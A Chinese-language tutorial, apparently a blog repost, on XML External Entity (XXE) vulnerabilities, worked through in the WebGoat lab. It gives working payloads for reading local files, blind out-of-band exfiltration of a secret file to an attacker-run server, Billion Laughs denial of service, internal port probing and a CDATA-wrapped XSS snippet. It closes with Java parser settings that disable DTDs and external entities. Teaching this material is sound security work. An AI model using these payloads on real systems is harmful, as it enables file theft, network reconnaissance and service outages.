赞
踩
顺手搜了一下CVE,XXE的问题还真不少。
XXE,XML External Entity (外部实体)。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
可在xml中进行引用,&js;
- <?xml version="1.0" standalone="yes" ?>
- <!DOCTYPE author [
- <!ELEMENT author (#PCDATA)>
- <!ENTITY js "Jo Smith"> // js 为dtd中声明的内部实体
- ]>
- <author>&js;</author> // 通过&js;进行引用
可获取外部资源(非xml中声明的),可用于一般实体、参数实体
- <?xml version="1.0" encoding="utf-8"?>
- // DTD 定义,root为声明的外部实体
- <!DOCTYPE user [
- <!ENTITY root SYSTEM "file:///c:\">
- ]>
- <comment>
- <text>&root;Hello</text> //&root;引用
- </comment>
-
- // 也可以是使用PUBLIC关键字进行定义,读取公共资源
- <!ENTITY name PUBLIC "any_text" "URI/URL">
外部是实体支持http、file等协议,具体如下:
参数实体(Parameter entities)
可在doctype声明中使用,也可以在实体定义value 中使用
-
- <?xml version="1.0"?>
- <!DOCTYPE root [
- <!ENTITY % remote SYSTEM "http://192.168.3.112:9090/WebWolf/files/attack.dtd">
- %remote;
- ]>
- <comment>
- <text>test&ping;</text>
- </comment>
-
- // 其他如:
- <!ENTITY % name "Hello World">
- <!ENTITY % name "Hello %myEntity;">
说完实体的概念,基本就能看清楚漏洞的原理了,通过外部实体(http、ftp)获取信息。
因为外部实体支持ftp协议,可以构造payload获取目录、文件信息。
具体可参考webgoat8 xxe stage 3,利用也比较简单。
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE user [<!ENTITY root SYSTEM "file:///c:\"> ]>
- <comment>
- <text>&root;xxe</text>
- </comment>
如果没有回显,通过Bland XXE(OOB)进行利用,具体参考webgoat8 xxe stage 7
搭一个服务器(A)接收http请求发送的数据,A服务器定义attack.dtd
目标机解析包含payload的xml,外部实体读取attack.dtd,然后发送数据至获取数据。
attack.dtd
- <?xml version="1.0" encoding="UTF-8"?>
- // 参数实体、外部实体,读取目标机文件
- <!ENTITY % file SYSTEM "file:///c:/Users/derek/.webgoat-8.0.0.M24/XXE/secret.txt">
- // 参数实体,实体内定义外部实体访问A服务器并发送读取的内容
- <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.3.103:9091/landing?text=%file;'>">
- %all;
payload:
- <?xml version="1.0"?>
- <!DOCTYPE root [
- <!ENTITY % remote SYSTEM "http://192.168.3.103:9091/files/admin1/attack2.dtd">
- %remote;
- ]>
- <comment>
- <text>test123---&send;</text>
- </comment>
通过构造恶意实体,指数级生成超大xml文档,服务器在解析时好景资源,导致DOS。此示例及著名的Billion laughs attack。
payload:
- <?xml version="1.0"?>
- <!DOCTYPE lolz [
- <!ENTITY lol "lol">
- <!ELEMENT lolz (#PCDATA)>
- <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
- <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
- <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
- <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
- <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
- <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
- <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
- <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
- <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
- ]>
- <lolz>&lol9;</lolz>
因为外部实体支持ftp、http等协议,所以可利用进行内网探测(服务器、端口),甚至进行账号、密码爆破。
服务器、端口探测
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE user [<!ENTITY root SYSTEM "http://192.168.3.103:9090/index.html"> ]>
- <comment>
- <text>&root;xxe</text>
- </comment>
用webgoat8 xxe 的例子试一下,把webwolf当成内网机器。
左边是可访问地址,返回解析错误。
- "javax.xml.bind.UnmarshalException\\n - with linked exception:
- \\n[javax.xml.stream.XMLStreamException:
- ParseError at [row,col]:[4,15]
- \\nMessage: http:\\/\\/192.168.3.103:9091\\/WebGoat]\\r\\n\\tat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.handleStreamEx
右边端口未开放,拒绝连接,且响应时间明显会长一些。
- "javax.xml.bind.UnmarshalException\\n - with linked exception:
- \\n[javax.xml.stream.XMLStreamException:
- ParseError at [row,col]:[4,15]\\nMessage: Connection refused: connect
针对PHP环境中安装expect扩展,通过返回报错信息、返回时间等进行判断。
payload如下,具体示例懒得搭环境了。
- <?xml version="1.0"?>
- <!DOCTYPE ANY [
- <!ENTITY test SYSTEM "http://ip:80/tets.txt">
- ]>
- <abc>&test;</abc>
- ‘ " & < > ]]>
- <!--
- <![CDATA[ / ]]> -
- <![CDATA[<]]>script<![CDATA[>]]>alert(‘xss’)<![CDATA[<]]>/
- script<![CDATA[>]]>
- <!ENTITY test SYSTEM "http://ip:80/tets.txt">
https:/wfuzz.googlecode.com/svn/trunk/wordlist/Injections/ XML.txt
审计源码,查看XML处理是否禁用实体,常用的xml解析类如下:
除了上方列出xml解析器,一些存在XXE的常用第三方组件:
0x04 防御
防御的话,最好直接禁用DTD;
如果有需要使用DTD,禁用外部实体;
对用户输入进行必要的验证及过滤;
- DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
- String FEATURE = null;
- try {
-
- FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
- dbf.setFeature(FEATURE, true);
- FEATURE = "http://xml.org/sax/features/external-general-entities";
- dbf.setFeature(FEATURE, false);
- FEATURE = "http://xml.org/sax/features/external-parameter-entities";
- dbf.setFeature(FEATURE, false);
- FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
- dbf.setFeature(FEATURE, false);
-
- dbf.setXIncludeAware(false);
- dbf.setExpandEntityReferences(false);
-
- ...
- } catch (XXXException e) {
- ...
- }
- // This disables DTDs entirely for that factory
- xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
- // disable external entities
- xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
- XMLReader reader = XMLReaderFactory.createXMLReader();
- reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- // This may not be strictly required as DTDs shouldn't be allowed at all, per previous line.
- reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
- reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
- reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
- saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- SAXBuilder builder = new SAXBuilder();
- builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
- builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
- builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- Document doc = builder.build(new File(fileName));
- //Disable XXE
- SAXParserFactory spf = SAXParserFactory.newInstance();
- spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
- spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
- spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
-
- //Do unmarshall operation
- Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(),
- new InputSource(new StringReader(xml)));
- JAXBContext jc = JAXBContext.newInstance(Object.class);
- Unmarshaller um = jc.createUnmarshaller();
- um.unmarshal(xmlSource);
参考:
https://www.freebuf.com/articles/web/177979.html
https://www.freebuf.com/column/181064.html
https://www.freebuf.com/vuls/176837.html
https://www.freebuf.com/vuls/194112.html
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_Security_Cheat_Sheet.md
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。